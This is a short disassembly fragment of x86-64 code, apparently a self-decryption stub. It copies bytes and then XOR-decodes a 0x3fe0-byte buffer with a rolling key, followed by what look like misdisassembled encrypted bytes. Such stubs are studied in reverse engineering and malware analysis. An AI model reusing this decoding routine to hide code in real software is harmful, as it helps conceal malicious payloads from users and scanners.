mov dl, byte [r9 + rcx]
mov byte [rax + rcx], dl
test rcx, rcx
jne 0x1400087c4
mov rcx, 0x3fe0
mov r9d, 0x15c13
mov r10d, 0x92819200
dec rcx
mov dl, byte [rax + rcx]
xor dl, r9b
mov byte [rax + rcx], dl
sub r10d, 0x26fe2
add r9d, r10d
add r9d, 0x26fe2
add r10d, 0x26fe2
rol r9d, 1
test rcx, rcx
jne 0x14000881d
je 0x140008823
call 0x140008814
fild qword [rdi - 0x7c]
jmp 0x174f44f96
jne 0x1400087e6
xor al, 1
add byte [rbp - 0x7f], dh
jne 0x1400087a6
add rax, 0x1ed4
mov rsp, rbp
pop rbp
ret